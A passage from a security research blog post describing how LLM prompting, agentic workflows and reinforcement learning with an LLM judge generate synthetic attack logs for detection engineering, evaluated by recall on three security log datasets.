   • The model only awards partial rewards based on semantic alignment and imposes a penalty if the generated string is not an exact match of the ground-truth logs, producing a more context-aware and flexible reward signal to guide the learning process. 
   • The judge also produces reasoning, making evaluations transparent, and auditable. 

Diagram that shows the LLM-as-a-Judge evaluation comparing generated logs to ground
truth, issuing rewards or penalties to drive policy updates.

While this direction of research shows a lot of promise, it is heavily dependent on the amount of labeled training data. To address this limitation, we applied data augmentations, including: 

• Paraphrasing attack narratives while preserving technical intent 

• Perturbing parameters (e.g., replacing executable names with plausible alternatives, re-ordering flags, etc.) 

This allowed us to scale from hundreds to thousands of training examples. 

Evaluation Datasets

To ensure our approach generalizes across environments and attack types, we evaluated it on three complementary datasets: 

1. Goal‑Driven (GD) Campaigns: These are tightly scoped datasets produced by repeatable attack simulations conducted by our threat researchers. GDs are built around a specific security objective (e.g., detecting credential dumping on Windows servers). They provide clean ground truth and well‑defined attacker actions. We used a total of 10 different GD executions to evaluate our approaches. 

2. Security Datasets Project: An open‑source initiative [2] that provides malicious and benign datasets from multiple platforms, enabling broader evaluation and generalizability across different environments.  

3. ATLASv2 Dataset: The ATLASv2 dataset [3] is comprised of Windows Security Auditing logs, Sysmon logs, Firefox logs, and Domain Name System (DNS) telemetry. These logs are generated across two Windows VMs by executing 10 multi‑stage attack scenarios and introducing realistic noise and cross‑host behaviors. We limited the evaluation of synthetic attack logs to malicious activity during the attack windows. 

Note: The external datasets from the Security Datasets Project and ATLASv2 are used strictly for research and validation of our log generation methods. These datasets are not used in the development, training, or deployment of any commercial products. 

Evaluation 

Methodology: We evaluated the prompt engineering and agentic workflow approach on the three datasets across multiple reasoning and non‑reasoning models, using recall as our primary metric. Recall measures the model’s ability to generate semantically relevant log instances (true positives) expected for a given attack scenario. Our LLM‑as‑a‑Judge performs flexible matching, focusing on: 

• New process name 

• Parent process name 

• Command line semantics 

For example, a synthetic log containing “forfiles.exe” can successfully match a ground‑truth entry with the full path “D:\Windows\System32\forfiles.exe”. 

Key Results: The results in experimental evaluation demonstrate that prompt-only  approaches establish a baseline but show inconsistent performance. The agentic workflows deliver dramatic recall improvements across all datasets. Reasoning models, combined with agentic refinement, achieve the highest fidelity.  

Finally, our experiments training reinforcement learning approaches conclude that while it shows a significant promise, a substantial amount of labeled data will be required for the agent to learn effective policies to make the synthetic data identical to benign logs. 

Table 1 and Table 2 report the performance of the prompt-based and agentic workflow-based approaches, respectively. For reasoning models (o1, o3 and o3-mini), we report the recall values using a Medium reasoning effort. Overall, agentic collaboration emerges as the most effective technique for high‑quality synthetic attack logs generation. 

Table 1: Recall values for prompt-based log generation. Table 2: Recall values for agentic workflow-based log generation.

Across the evaluation datasets we used, AI‑driven synthetic log generation shows strong potential to produce semantically meaningful logs from TTPs and attacker actions. It can capture multi‑event sequences, preserve parent‑child process relationships, and generate realistic command lines.

This capability can accelerate detection engineering by reducing dependence on costly lab setups and enabling rapid experimentation, without sacrificing realism or safety. Our early experiments with reinforcement learning with verifiable rewards also look promising and could improve verbatim alignment when sufficient training data is available. 

References

• MITRE ATT&CK Framework: MITRE ATT&CK®  

• Security Datasets: GitHub – OTRF/Security-Datasets: Re-play Security Events 

• ATLASv2: ATLAS Attack Engagements, Version 2: 2401.01341 

This research is provided by Microsoft Defender Security Research with contributions from Raghav Batta and  members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post Accelerating detection engineering using AI-assisted synthetic attack logs generation appeared first on Microsoft Security Blog.